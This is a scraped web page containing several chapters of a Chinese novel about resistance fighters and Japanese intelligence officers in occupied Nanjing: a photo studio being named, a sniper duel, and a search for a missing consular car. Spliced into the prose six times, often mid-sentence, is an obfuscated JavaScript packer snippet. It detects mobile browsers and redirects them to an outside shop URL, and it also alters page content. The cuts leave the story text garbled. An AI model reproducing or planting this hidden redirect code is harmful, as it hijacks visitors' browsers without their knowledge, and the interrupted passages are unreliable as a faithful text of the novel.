也是上下两层,和利民诊所的建造格局没有什么两样,只是房子明显要老旧很多。 陶楚歌跟在林赤身后,拍拍林赤的肩膀,得意洋洋说道:“怎么样,本姑娘的执行力如何?” “没得说!”林赤赞叹道。 “满意吗?……不过不满意也没用了,我已经给你做了主,一个小时前,我就付了定金,这是房间钥匙!”陶楚歌用食指套着钥匙扣,扬着手指在林赤面前飞快地旋转着。 “还好!”林赤接过钥匙,回头喊道:“曲思秋!” “什么事?”曲思秋小跑而至。 “麻烦你给我的照相馆取个名字。” “取名?取名我最在行了!”陶楚歌脱口道,“我这家诊所的名字就是我取的,并且得到我爷爷的大力赞赏。” “利民?太一般了。”林赤摇摇头,“我还是多采纳一些意见吧,我允许你和思秋各想一个名字,最后我来拍板!” “老照片?”陶楚歌不假思索,“就叫老照片照相馆。”看来陶楚歌对她拍脑袋想出的名字还算满意,进一步诠释道:“你想想,店铺招牌最重要的一项功能是什么?” 林赤还没回答,陶楚歌又接着说道:“跟你说你也不懂,你只会打打杀杀,做生意肯定是门外汉,任何一个店招,最重要的,就是要以直白明了的方式告诉别人,你这家店到底是做什么的!你看,我取的这个名字,其中‘照片’二字,直接表明功能,而‘老’字,则是一语双关,留有太多的想象空间,老不等于旧,而是回忆,或是记忆,代表了一段美好的时光,第二层意思,则是表明咱们的照相馆拍出的照片永不退色!哈哈,我越想越喜欢这个名字啦!” 林赤看她一直沉浸在快乐的遐想之中,不忍打断她。 拿钥匙打开了门,门一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259584|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推开,尘土立即四下飞扬。 陶楚歌见林赤兴趣不高,马上对曲思秋道:“思秋姐,你想好了吗?” 曲思秋想了想说道:“我倒是想了一个名字……” “什么名字?”林赤回头问。 “悦颜。喜悦的悦,颜色的颜。意思是美好的容颜……” “好好。这个名字好!”林赤夸张地叫了起来,“明显要比‘老照片’强很多,这个名字又美又别致,不但和我们店铺的功能相关联,更主要的是,如今山河破碎,国土沦丧,国人一片消沉,信心消沉,决心消沉,行动消沉,我们就是要唤起国人的斗志,不能一味沉沦,我们要微笑,要快乐,要对生活充满信心,要以更昂扬的斗志去战斗,去夺回我们失去的一切!” “嗯……”陶楚歌翘着嘴,“好吧,这个名字是真的不错。” “怎么样,比你的‘老照片’好吧!”林赤本想继续打击陶楚歌,竟见她一副楚楚可怜的模样,心中不忍,便说:“楚歌,你帮忙联系一下你赵楷叔,叫他待会直接把照相设备运到这里来。” “好的。”陶楚歌马上又快乐了起来。 凌队长带着一行人重新隐藏到林间,向着紫金山东麓的驻地而去。 是的,凌队长正是华帮抗战大队第三小队的队长凌鼎天,被第二小队队长魏瑞魏胖子戏谑称之的“凌大牙”。 自从上次带队突袭了尧化门的鬼子驻地,他们收获了大量的补给后,凌鼎天在华帮抗战大队的地位扶摇直上,无人可撼,连一贯傲慢不羁的魏胖子也要让他三分,见面总要尊一声“凌队长”,关于强加于他身上的绰号“凌大牙”也从 此销声匿迹,再未提起。 这章没有结束,请点击下一页继续阅读! 第75章 工藤夕贵 冯小个子冯勇敢此时趴在一棵雪松的后面,他离凌鼎天倒地的位置,仅有三米的样子。 正是这区区三米的距离,让他羞愧难抑。 在凌鼎天嘶哑着嗓子,声嘶力竭喊叫时,冯勇敢在一众人的排序中,是离秦素芬最近的。 三米的距离,只要他一个腾跃,说不定就能将秦素芬扑倒,因而,此时此刻,他的队长也绝无可能在他的眼前长眠不醒……一旦这样的念头在冯勇敢的脑中闪现,再也挥之不去,像是恶魔附体,从此注定会一辈子背负! 他恨自己,恨自己的怯懦;他恨自己,恨自己的可耻;他恨自己,恨自己的自私…… 不知不觉,他的视线一片模糊。朦胧中,他看到依旧趴在地上一动也不敢动的秦素芬,他擦了擦眼睛,立即清晰地看到了她的眼神,那眼神充满无助,充满了渴求,也充满了绝望……再看其他幸存下来的四名战友,这从天而降的祸端已让他们噤若寒蝉,他们纷纷埋着头,大气也不敢喘。 一种无畏的决然一刹那充斥着冯勇敢的大脑,他傲然伫立,已不顾自身的生与死,事实上,他骨子里已把自己认同为死人,起码,救秦素芬的理应是自己,因而此时倒地的除了他冯勇敢还会有他?起码,良心的谴责让他执着以为,宁可血溅沙场,也比从此苟活于世不知要强多少倍! 冯勇敢从未有过应对此种状况的经验,不过,经验已不重要,他只有一个目的,那就是为队长凌鼎天报仇!他甚至没有过多思考,提起枪向对面的山坡冲去。 他身体如弓,几乎是弹射而去…… 对方的枪响了,他安然无恙,接着对方又开了一枪,还是没有击中。 冯勇敢最自豪的就是他的短跑速度,这枪声,在他听来,根本不是要索其性命,分明是比赛的发令枪,竟让他越跑越兴奋!所以没等对方再开第三枪,他已然藏身于山坡的一块巨石下。 这样的情境,以毫秒的速度演绎,其他的士兵竟然忘记了协同。 冯勇敢下意识的看了看手中的枪,本想检查一番,忽然就想起了那位林先生的话来,就在不久前,林先生曾对他说过,一名优秀的枪手,首先是要相信自己的枪,要坚信枪乃是自己身体的一部分,是永远不会背叛自己的,其次,就是要相信自己的枪法……意念之间,冯勇敢蓦然豪气干云,不就是一名只能把自己藏匿在阴暗之中的狙击手嘛?他甚至不敢露头,不敢光明正大,慎微如鼠,靠着障眼的掩饰行偷袭之实! 在山坡前方十来米处,一棵古树参天蔽日。 冯勇敢几乎没有犹豫,又立即启动了步伐。十来米的距离,不短也不长!他只用了两秒多钟,就跑到了古树后。对方很快开枪,子弹击中了他身后的一块顽石,迸出出一声锐响。冯勇敢在转身之际,终于看到了对面的山坡上有一处丛木抖动了一下,这分明是对方开枪之际不小心带动了身体周围的羁绊…… 冯勇敢端起枪,林赤教于他的射击要领立即浮现在脑海中,他似乎已经做到了人枪合一。 冯勇敢立即扣动扳机。 在对方开了第六枪后,己方的这一枪才姗姗而来。 事态发展于此,局势才稍有扭转,刹那间,其他的队员幡然醒悟,一时间枪声大作,所有人都在狠命地将之前或缺的枪声以最快的速度补上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259585|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 山坡上的丛木以清晰的运动轨迹,昭示了那名狙击手的溃逃线路,他们的子弹沿着那条逃亡的痕迹一路追击,直到鞭长莫及! 工藤夕贵提着他的三八式狙击步枪,在山林间快速穿行,一路向西撤退。 狙击位已经暴露,再说天色已黄昏。更主要的,是他的右手臂已经受伤,他来不及包扎,任凭血迹一路滴滴洒洒。 那个身材矮小的中国军人,居然一枪击中了他,尽管不是什么要害部位,更无性命之虞,但他采用的应对策略以及枪法着实吓了工藤夕贵一大跳:快速移动身体,诱使自己暴露,然后举枪还击。这一切如行云流水,娴熟无比,分明深谙狙击的要领,只是他的自信和大胆出乎了工藤夕贵的意料。 他想起了临行前黑木将军反复叮嘱他的一番话:要沉着冷静,要坚毅耐心,不要轻视对手,种种迹象表明,在紫金山一带,隐藏有敌人的小股部队,并且其中不泛卓尔不群的鳌冠之才。 黑木将军接着跟他举了不少例子,比如十数名大日本皇军失踪、马群镇遇袭、尧化门驻地的袭扰等等,这发生的一切直指在地图上标注为绿色的紫金山区域,只有在这片莽莽的丛林中,敌人才能够如此轻易地进退自如! 今天是工藤夕贵第一次遵黑木将军之命,来此埋伏!一大早他就出了中山门,经过对附近地形的勘查后,他立即把狙击点选择在了这条通往山里的小道不远处的山坡上,尽管这条小路十分不起眼,但却是进出山坳的必经之路!他选择的狙击点,居高临下,对这条小道的监视几乎没有死角,射角也不错,是极为理想之地。 这章没有结束,请点击下一页继续阅读! 第76章 喜忧参半 这天傍晚,松机关的机关长黑木瞳少将接到了一个电话,一个来自上海的电话,一个来自大日本帝国驻上海总领事馆的电话。 打来电话的是上海总领事馆副领事岩井英一。 岩井英一是个中国通,和黑木颇有渊源,两人同为1899年生人,1917年3月同时毕业于东亚同文书院18期商务科,又在外务省情报部第一课有过短暂的共事,自此后二人分道扬镳,黑木被调至陆军省从事情报工作,而岩井继续留在外务省,并浸淫多年。这期间,岩井的两篇论文着作《支那国际共同保护论》和《满洲问题解决之客观的考察》在日本朝野引起轰动,从此一路升迁,就在本月初,岩井由成都总领事馆代理总领事的岗位调至上海总领事馆副领事,叙高等官7等(日本外交官的一种衔制),就在一周前,岩井和该馆情报部长河相达夫曾一同前来南京,视察这片占领地。视察期间,黑木与他彻夜长谈。 那夜的长谈内容之核心,则是一个完整而高效的情报体系在占领地所发挥的作用是何其重要! 岩井英一在电话中向他问询了该馆武官山口秋山是否已经抵达他处,黑木赶紧相询山口何时从上海出发,被告知是早晨八点、并进一步得知山口此次乃肩负押送刘云雄夫人的任务时,黑木马上抬手看表,通常从上海开车到南京,最多也就八小时,而现在时至六点,已超出预期两小时,黑木心里一沉,忙问岩井,山口所驾驶的是何种车型。 “美国福特汽车公司1935年最新款水星品牌.”岩井回答道。 “车上一共几人?” “一共五人,包括刘云雄的妻子秦素芬。”岩井答道。 黑木隐约觉得一定出事了。 福特水星(Mercury)款车型,是当下福特公司最好的汽车,填补福特产品和高档林肯产品间的市场空缺。正常车速在80码以上。 “我一定立即派人去调查!”黑木说道。 然而,岩井带来的信息不限于此,他还透露了另一个情况。 “黑木君,你们松机关的情报工作有漏洞啊!”岩井奚落道。 没等黑木追问,岩井继续说道:“我们的情报机构最近截获了一盒胶卷。你猜,这胶卷上拍了些什么?” “请岩井君明示。”黑木心情忐忑。 黑木和岩井之间虽然分属两个情报系统,何况当下岩井英一的官阶甚至还不如自己,但二人所掌管的情报机构联系已是千丝万缕,盘根交错,可以说是互为肱骨,荣辱与共。 “胶卷我已命人冲洗出来,上面记录了大日本皇军在南京搬运文物和藏书的种种细节!” 黑木大惊失色。 自12月13日大日本皇军占领南京后,军队自上而下,无论是上到将官还是下到士兵,极尽自己所能事,八仙过海各显神通,几乎把南京城洗劫一空,珍奇异宝,尽收囊中,这样的消息一经传出,已引起国际社会的广泛关注,中国国内的国民党、共产党也多次通过各种途径强烈谴责,只是苦于没有直接证据,为此松井石根大将在南京的几次高级军官会议上一再强调,一定要严格控制消息源,杜绝外泄! 还好,是岩井遏制了这次有可能井喷的国际事件! 黑木激动道:“感谢岩井君!” “黑木君就不要客气了,这样的消息泄露出去,也会给我们的外交带来巨大的麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259586|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦,所以这也是本人的分内之事!” 岩井说完就挂了电话。 黑木依旧拿着电话,但那一头已是一片忙音。岩井断然挂了电话,甚至没有和他说再见,黑木感觉到了对方的不屑,也感觉到了来自对方的羞辱。 但不管如何,黑木的内心对岩井还是心存感激的,这样的失误如果被松井石根将军获知,让他情何以堪! “来人!”黑木愤怒地大叫道。 “将军!有何吩咐?”渡边雪奈匆匆进来,恭敬站立。 “马上查一下,南京各城门今天下午五点前后,有没有一辆轿车驶进,是35年福特水星款车型,来自上海总领事馆,车上其中一名乘客叫山口秋山,是领事馆武官!重点查一下中山门和中华门的进城轿车!” “是!”渡边雪奈快步走出。 “来人!”黑木继续喊道。 “将军!有何吩咐?”松机关行动处的李泉走进。 “我刚才看到工藤夕贵进来过,他又跑哪儿去啦?马上通知他前来!” 李泉走出,大声询问道:“你们谁见到工藤夕贵了?” “他可能和稻田君在一起。”一人答道。 “你去通知他,黑木将军有请!” 工藤夕贵亦步亦趋跑了进来。他的手臂上吊着一根绷带。 黑木平复一下烦躁的心情,和颜悦色问道:“中尉,受伤了?” “是的,将军!不过只是皮肉之伤!”工藤夕贵风淡云轻说道。 “工藤君辛苦了,这么说你今天遭遇了敌人?说说今天的情况。” 这章没有结束,请点击下一页继续阅读! 第77章 情非得已 渡边雪奈带着行动处的二十多人兵分多路,查遍了南京城大大小小的医院,依旧不见山口秋山人影。 这一通折腾,前后大约五个小时,直到接近子夜时分,众人才拖着疲惫的身体返回了松机关。 松机关除了电讯股的灯还亮着外,机关长黑木瞳的办公室也灯火通明。 黑木并未入眠,不是他不想睡,实在是睡不着。 自黑木遵松井石根大将之命,从北平空降南京城,并着手组建松机关后,尽管仕途一帆风顺,很快由大佐晋升为多少军人一辈子梦寐以求的少将,但他所主持的情报工作却收效甚微,罕有建树,甚至于差池不断!这不,如果不是岩井英一及时堵住了漏洞,说不定这一两天就会有某一家报纸连篇累牍登出一系列大幅照片,标题肯定抢眼夺目,比如:“日本军人在南京城进行疯狂的文化掠夺!”;再比如:“日本的文化掠夺,与强盗行径何异?”这些刊发的照片,则是最有效地证据,直接坐实了日本军方盗抢中国文化的事实,百口莫辩! 黑木深知,他的将军衔完全是因为松井大将的垂爱,这是别人渴求不到的捷径,但论业绩,他还并未取得资格!而且,目前针对他的流言蜚语已在坊间以讹传讹,甚至有人大肆批评松井大将任人唯亲;而东京参谋本部的那帮军官们更是把他排斥在圈外!所以,针对当下的时局,黑木不能再容忍任何差错,哪怕是一丁点失误,也必将受到更广泛的质疑。 摆在黑木面前的工作有很多,一桩一桩的接踵而至。 首先,南京城出现了神秘电台,这个神秘的电波到底是隶属重庆还是延安,则一无所知,唯一的进展是通过前几日的分区断电,大体判断出它的活动范围,锁定在北至西康路,东至中山北路,南至汉中路、西至虎踞路这样一块梯形区域内!然而,自从最后一次的断电后,这部电台再没有动静,似乎从这座城市消失了! 其次,安全区的便民烟卷店一案再未有实质性的进展,关于密码本的线索凭空夭折,那位叫做林昂的唯一的嫌疑人尽管疑点重重,但均不至于马上获罪,经过几次的跟踪监视,从汇报的情况来看,此人不但身手敏捷,而且反侦查的能力突出,这些更加重了他的疑点,可惜的是,此人最近已不知所踪! 再次,刚成立不久的几家区公所用起来总是不太顺手,除了秦淮区公所的丁易白鞍前马后、随时差遣、每天一汇报外,下关区公所的薛飞风和鼓楼区公所的池碧疆总感觉热情不高……就连佐方将军在职期间亲自委任的南京自救会会长陶天阙也常常阳奉阴违…… 还有,从工藤夕贵今天汇报的情况来看,紫金山的残余武装力量已有尾大不掉之势,它的一天天坐大,已如芒在背、如鲠在喉…… 最后,就是在前不久的一次清剿行动中,第十六师团三十八联队在南京安全区抓捕了一大批疑似中国军人,在隔离审查过程中,经一名敌军士兵检举揭发,居然挖出一名敌71军260旅的少将旅长……松机关接手后,马上将这名叫做刘云雄的旅长关押至南京老虎桥监狱。黑木曾多次前往提审,并诱以厚利,企望对方投诚,但收效甚微!黑木于是再次审问那位检举揭发的士兵,终于探知刘云雄妻子在上海的住址,经过岩井英一的帮忙,很快将该女子抓获,并羁押南京,孰料中途居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259587|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然横生事端,不但该女子踪迹杳无,就连一同前往的山口秋山也不见踪迹!…… 所有这一切,在黑木脑际一幕幕的快速闪现,又让黑木如何安心入眠? 此时此刻,在松机关,与黑木外同样难以入睡的还有一人,那就是工藤夕贵。 他手臂上的枪伤在夜深人静的时候忽然疼痛了起来!说是皮外伤,那只是工藤的逞强之语,子弹虽然没有伤及筋骨,但却擦破了手臂上的一大块肌肉。除此之外,工藤夕贵还有其它心思,那就是稻田勇在开箱取纱布过程中的异常举动。 作为一名优秀的狙击手,首先必须具备卓绝的洞察力!稻田勇似乎太小看他工藤了,他的种种掩饰破绽百出,工藤没有多作思考,就已然明白,在他的箱子中一定藏有不可告人的秘密,他的身体刻意的遮挡只能是欲盖弥彰,滋生出工藤更强烈的怀疑,只是工藤不愿当面戳穿他罢了。 但工藤的好奇心不降反升,就在晚饭后,作为电讯股股长的稻田勇去松机关值夜班去了,工藤抑制不住猎奇心,从他的床底下拉出他的箱子,却意外发现扣环上加上了一把锁。 这直接就诱发了工藤的疑心病。 稻田在傍晚取纱布时,箱子上还没有上锁,为何他一住进来后,稻田就把箱子锁上了,这难道不是在提防他工藤? 好奇心分明也是一种病,一旦犯上后,竟然很难痊愈。 工藤在那张狭长的床上辗转来反侧去,怎么也睡不着! …… 渡边雪奈本来不想叨扰黑木机关长。 这章没有结束,请点击下一页继续阅读! 第78章 暗流汹涌 此时,在紫金山北山半山腰的一间茅屋里,依旧亮着一盏油灯。 一张圆桌前的地上,摆放着几张木板,上面躺着三具尸体。 在尸体的前面,一人正跪在稻草上,向一只破旧的铁锅里,添加纸钱,火光忽明忽暗,在麦秸秆编制而成的草墙上,投射出光怪陆离的景象。 圆桌旁围三阙一坐着四人。 为首的是个中年人,另外还有三名年纪仿佛的年轻人。四人脸色阴郁,均注视着油灯默默出神。 在其它两间茅屋里,熟睡的士兵们鼾声雷动。 四人正是华帮抗战大队的代理大队长钉子、副大队长曲思冬,以及第一第二小队队长钱瑾余和魏瑞。 沉默良久,钉子率先说话:“曲队长,那位林先生的底细你了解吗?” “底细倒不是十分了解,但我可以用性命担保他对国家的忠诚!”曲思冬信誓旦旦说道。 “你给大家具体说说!” “他原是教导总队的一名连长,叫林赤,上海人,听我妹妹讲,32年7月留学法国,先后在法国兵工大学和炮兵大学学习,均以优异的成绩毕业。36年回国后进南京中央陆军军官学校高等教育班继续深造,未毕业。南京保卫战期间,参与了紫金山南线阵地的对敌阻击战,伤重后被我父亲和伯父救起,几天后,我们一起袭击鬼子的巡逻队,两次共歼灭鬼子十余人,几天后他潜回南京城,好像是接受了一项重大任务,并很快投入战斗……” 钉子打断曲思冬,又问:“那他这次怎么又会从上海归来?居然还带回一个旅长夫人?” “这中间到底发生了什么,我也一无所知,我已经好多天没见到他了!” “你向那位叫做秦素芬的旅长夫人了解过情况吗?” “我询问过她,她声称是在上海的家里遭遇到日本人的挟持,本来她并不知道她丈夫被捕,也不知道日本人把她押解何处,是林赤在上海真如镇解救了她,并带到南京。他们在附近正好遭遇到了凌队长的埋伏,我曾和林赤说起过我们的抗战大队,估计他猜到了凌队长是我们的人,就托他带回秦素芬,哪知中途遇到鬼子的狙击手……” “她真的是71军260旅刘云雄旅长的夫人?”钉子又问。 “千真万确,我已经找到了260旅的一位兄弟,亲自核查了几个细节,比如刘云雄的身高,年龄,籍贯,毕业于哪里等等,秦素芬对答如流,这绝无虚假!” 钉子陷入沉思。 魏瑞插话道:“可是,那位林先生又是如何去了上海?怎么去的?现在宁沪之间的轨道交通线几乎是瘫痪的,如果是开车去的上海,就目前形势,日本人对进出南京城的车辆一定是严加盘查,他又如何能做到不被对方发现?再说,他又如何获知秦素芬会出现在真如?这么精确的情报他又是通过什么方法获取的?” “是啊,这也正是我疑虑重重的地方,总之,他这人太神秘了,我一直没能琢磨透!” “好了!”钉子抬头果断说道,“我们暂且按照那位林先生的要求,保护好秦素芬,在我看来,曲队长所说的这位林先生,肯定不是一般人,也不大可能是鬼子汉奸!能从日本人手中抢回人质,况且这位人质还是我们一位将军的妻子……秦素芬你是怎么安排的?” “我把她安排和我父母住在一起,并让冯勇敢带着小野和另外一人负责保护。”曲思冬回答。 “好,那我们现在说说眼前吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259588|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们要尽快商定一个可行的应对策略,天亮前我要返回城里汇报。”钉子说道。 “对!”钱瑾余附和,“鬼子的狙击手出现在了我们的附近,我们的驻地马上就要暴露了,接下来,鬼子一定集结大量兵力,对我们这一片进行清剿,是去是留,我们要赶紧拿出对策!” “曲队长,你怎么看?”钉子询问曲思冬。 曲思冬想了想说道:“从我们最初计划偷袭鬼子的巡逻队,马群镇伏击鬼子的运书车,再到袭扰鬼子尧化门驻地获取补给,这一切鬼子不可能没有察觉,我相信鬼子已经估计到在这片区域存有我们的武装力量,只是他们还没有弄清我们的人数和规模,所以迟迟没有动手,但是,从今天傍晚前后发生的这次狙击事件来看,他们已经开始重视了,在接下来的几天里,鬼子应该会采取行动!” “那我们该如何应对?”钉子进一步问道。 “依我看,咱们和鬼子干一仗!”魏瑞咬咬牙,眼睛里射出仇恨的光芒。“凌队长不能白死,我们必须以牙还牙,让鬼子付出血的代价,替凌队长报仇!” “不行!”钱瑾余立即否决。 “难道钱队长怕了?”魏瑞带有一丝讥讽。 钱瑾余刚想据理力争,却闻曲思冬说道:“钱队长说得对,这一仗我们不能打!”曲思冬面无表情,“鬼子一旦决定围剿,必定以量取胜,我们据守的这片区域,虽有山林作掩护,但没有纵深,也做不到战略迂回,鬼子一旦扼守几处要冲,再慢慢收网,我们只能束手待毙!凌队长之死,这个仇我们大家都会替他报,只是时候未到,留得青山在,不怕没柴烧!” 本小章还未完,请点击下一页继续阅读后面精彩内容 ! 第79章 风波起 丁易白车未停妥,匆匆忙忙下了车,老远就微曲着腰一路小跑而至,雍胖的身子显得过于累赘,仅仅十来米的路程,跑到黑木的车前,额头已沁出了汗珠。 丁易白喘着气,对黑木哈腰道:“黑木太君,您这是要出去?” “是的,我正有事要办。” “那真是太不巧了,太君您这是要去哪里?” 三个区公所的所长,黑木最喜欢的就是这位丁易白。凡是黑木交待他做的事情,他事必亲躬;凡遇到他难以决断的事情,他事必请示。除此之外,丁所长几乎每天汇报工作进展,如此谦逊的精神是其他两位所长所无法具备的。 “我准备去一趟警备司令部,不知丁桑找我何事?” “我今天是特地前来慰问太君的,自帝国军队入驻南京城始,为大东亚共荣可谓不辞劳苦、呕心沥血,在下是有目共睹,南京人民也是有口皆碑!” 黑木连忙下了车,饶有兴趣问道:“慰问?丁桑打算如何慰问?” “我给太君准备了最鲜美的南京特产!” “哦?南京特产?”黑木扭头看了看丁易白的车。 丁易白连忙大声招呼车上的随从,“你们帮我把孝敬给皇军的礼物抬下来!” 一只小半人高的竹筐被抬到黑木的面前。 满满一竹筐,尽是鲜活的大螃蟹,个大肥美,每只足有四两以上,所有螃蟹的脚,都用细细的草绳捆住。 黑木面露笑意,小心翼翼擒住一只,举在手里,在阳光下仔细端详。 丁易白凑近黑木,脸上陪着笑,夸耀说道:“太君您看,青背、白肚、金爪、黄毛,这些都是百分百的红膏蟹,是我特地托人从高淳镇的固城湖给您捕捞来的!” 礼虽轻,却分外衬显出丁易白的一片拳拳情意。黑木愈加觉得眼前的丁易白的可爱,心中产生一丝感动,便伸手拍拍他的肩膀,亲切地说道:“难得丁桑有如此心意,您太客气了!” 丁易白马上一本正经道:“区区薄礼之于皇军的滔滔恩泽,实在是难表其意!” 黑木将手中的螃蟹在太阳底下照了照,问道:“这鲜美尤物,吃法有何讲究?” “洗刷干净,中火蒸二十分钟即可,并佐以姜醋,如果再配上帝国的清酒,那才堪称人间之绝佳美味!” “好!好!好!”黑木连说三个好字,回头对一旁的渡边雪奈说道:“渡边小姐,你让厨房按丁桑所说的方法做了,我们今晚正好用这道美味来庆祝我们的胜利!我将邀请松机关所有的勇士们一起分享这道美味佳肴!”黑木回头又亲切地拉着丁易白的手说道:“丁桑,是否有兴趣来此一醉方休?” 丁易白一脸惊宠的样子,“能得到黑木太君的邀请,那是我丁某人三生有幸!我高兴还来不及呢!” “那咱们就说定了,丁桑一定要过来的……如果丁桑没什么事,那我就先行一步,我还得亲自去一趟警备司令部,去面见中岛将军!” 丁易白欲言又止。 这一切并未逃过黑木鹰一般的目光,黑木立即哈哈道:“丁桑,我们是朋友,有什么事就说吧。” 丁易白四处环顾一下,说道:“太君,如果您方便的话,我想还是到您的办公室亲自向您汇报!” “没问题!”黑木对站在车旁的工藤夕贵吩咐道:“工藤君,你在这里等我,我去去就来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259589|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了黑木的办公室,丁易白四下打量了一会儿,惊叹道:“黑木太君的办公室真是阔气啊!” 黑木面露得色,用手捶着身前的办公桌自豪得说道:“丁桑有所不知,这可是你们蒋总统原来的官邸啊,而我的这间办公室正是他审阅机要、发号施令的地方!每当我坐在办公桌前,我的眼前总是浮现出他的身影!” “果有此事?”丁易白愕然道,“真是三十年河东三十年河西啊,他蒋介石做梦也没想到……” 黑木立即打断了丁易白的话,并接口道:“是啊,就连我做梦也没想到,我黑木瞳会有一天也坐在了这里,享受着君王的尊贵和至高无上的礼遇!丁桑,你过来看看这张办公桌!” 丁易白立即趋步上前,脸尚未低下便长吸一口气惊叹道:“天哪,这可是小叶紫檀!”说着双手轻轻摩挲着桌面,啧啧赞道:“这么大件的紫檀器物,真是旷世少有!” “丁桑不愧为商会会长,慧眼有加!” 丁易白道:“黑木太君谬赞,这张桌子,暗香沁人心脾,却淡香悠长!再看其外表,紫黑如漆,却几乎看不到纹理,静穆而沉古,色泽低调而神韵内敛!这不是紫檀还会有他?!” “丁桑好眼力!” 丁易白依旧一脸谦卑,话题一转:“太君今天有喜事可庆?” 黑木还沉浸在得意之中,道:“是啊,我马上去找中岛将军,向他请兵,我要一举剿灭南京城外的残余敌人武装!” “怎么?南京城还存有匪患?” 黑木没有搭话,想起丁易白有话要说,便问:“丁桑找我何干?” 这章没有结束,请点击下一页继续阅读! 第80章 乌云密布 黑木一走,渡边马上召集行动处所有的成员继续落实行动细节。 会议的议题很简单,就是要在南京城布下天罗地网,设法找出一辆美国福特35年水星款轿车。 这款车型的轿车,南京城几乎独一无二,甚至于整个中国市场上也数目寥寥,而在华的日资机构,唯有财大气粗的上海总领事馆在年初一下子购进了两辆。关于这款车型的照片,渡边更是无法快速获得,只找到了一张关于福特汽车公司的logo照片。 所以在会议的一开始,问题立即聚焦在该车型的外观上,大部分成员纷纷表达疑虑,鉴于该车型外观的不确定性,万一弄错了怎么办,再说,当下的南京城,能够拥有小轿车的驾乘人员,那一定有相当高的地位,非官即贵,唐突和冒犯在所难免,可问题是,人是有情绪的,万一惹得对方不高兴,遭到对方的训斥尚能接受,倘若对方开抢相向,那岂不冤死? 这样的担忧占有六七成,渡边一时间说服不了,只得说道:“水星款福特轿车,是目前市场上最高端的一款轿车,据我所知,该车型采用整体V8发动机缸体,其车头的水箱冷却系统的立面要大于一般的福特车型!” 话刚说完,有人立即插话:“渡边少佐,什么是整体V8发动机缸体?您所讲的我怎么一点也听不懂?” 另有一人又说:“渡边少佐,这个整体V8发动机缸体装在汽车的什么地方?肉眼能够看到吗?” 接着又有人说道:“渡边少佐,您干脆把汽车的构造和原理跟我们讲讲吧,好借此机会让我们普及一下汽车知识!” 居然还有人问道:“渡边小姐,这款高档轿车,到底值多少钱?它贵吗?有多贵?” 众人七嘴八舌,渡边又气又恼,有气无力地说道:“关于这款汽车的车型,我们不再讨论,总之,它是一款新型轿车,我相信你们在座的,包括我,都没有见到过,你们只要见到一辆从未见到过的福特牌的轿车,就必须重视,还有,一定要记住,那辆车的驾驶舱挡风玻璃和后排的车窗玻璃都是缺失的,这是第一特征……” 松机关行动处的所有成员不但思维缜密,想象力也丰富,渡边的话没说完立即被人打断。 一人说:“玻璃缺了可以再装上啊!” 